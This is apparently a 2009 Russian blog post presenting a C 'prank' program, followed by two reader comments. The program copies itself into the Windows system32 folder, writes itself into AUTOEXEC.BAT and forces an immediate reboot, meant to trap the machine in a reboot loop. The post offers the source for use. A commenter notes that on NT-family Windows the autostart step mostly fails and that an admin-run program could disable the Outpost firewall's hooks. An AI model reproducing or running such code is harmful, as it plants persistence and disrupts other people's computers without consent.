Представляю Вашему вниманию простейшую программу — прикол, написанную на C.
Одного запуска в Windows с правами администратора будет достаточно, чтобы компьютер уходил в перезагрузку при включении.
#include <stdio.h>
#include <stdlib.h>
int main (void) {
int num;
unsigned char *buf = malloc(129);
FILE *f1, *f2, *f3;
f1 = fopen("./prikol.exe", "rb");
f2 = fopen("C:\\WINDOWS\\system32\\prikol.exe", "wb");
while (num = fread(buf, 1, 128, f1)) {fwrite(buf, 1, num, f2);}
fclose(f1);
fclose(f2);
f3 = fopen("C:\\AUTOEXEC.BAT", "wt");
fputs("\nC:\\WINDOWS\\system32\\prikol.exe\n", f3);
fclose(f3);
system("shutdown -r -f -t 1");
return 0;
}
*Программа предоставлена исключительно в ознакомительных целях.*
Чтобы такие приколы не срабатывали, настройте Ваш firewall. Например, Agnitum Outpost на повышенном уровне безопасности может контролировать обращения к системным объектам (типа C:\\AUTOEXEC.BAT) и вызов функции system().
Есть несколько ошибочных допущений.
>> Одного запуска в Windows с правами администратора будет достаточно
Зачем запускать неизвестно что от администратора?
>> C:\\WINDOWS\\
Система может стоять в другом каталоге :)
>> Чтобы такие приколы не срабатывали, настройте Ваш firewall. Например, Agnitum Outpost на повышенном уровне безопасности может контролировать обращения к системным объектам (типа C:\\AUTOEXEC.BAT) и вызов функции system().
Не поможет. Запущенная от администратора программа может сделать с системой что угодно, вопрос лишь в квалификации ее автора. Например, можно считать ntoskrnl с диска, и перезаписать аутпостовские хуки оригинальным кодом, тем самым оставив аутпост не при делах.
>> unsigned char *buf = malloc(129);
Ошибка, malloc() и calloc() возвращают бестиповый указатель. Нельзя void* и unsigned char* приравнивать без явного преобразования.
>> чтобы компьютер уходил в перезагрузку при включении.
В NT autoexec.bat выполняется при входе юзера в систему.
Кроме того, думаю что в лучших традициях в NT игнорируются все команды, кроме prompt, path и temp.
Комментарий by Prescott — 5 ноября 2009 @ 02:47
2Prescott: Вы правы в большинстве утверждений, но Вы не обратили внимания на название темы: "Простейший прикол на C". :-)
>> Ошибка, malloc() и calloc() возвращают бестиповый указатель. Нельзя void* и unsigned char* приравнивать без явного преобразования.
Только в C++, мы же говорим о C.
Комментарий by Figaroo — 5 ноября 2009 @ 08:25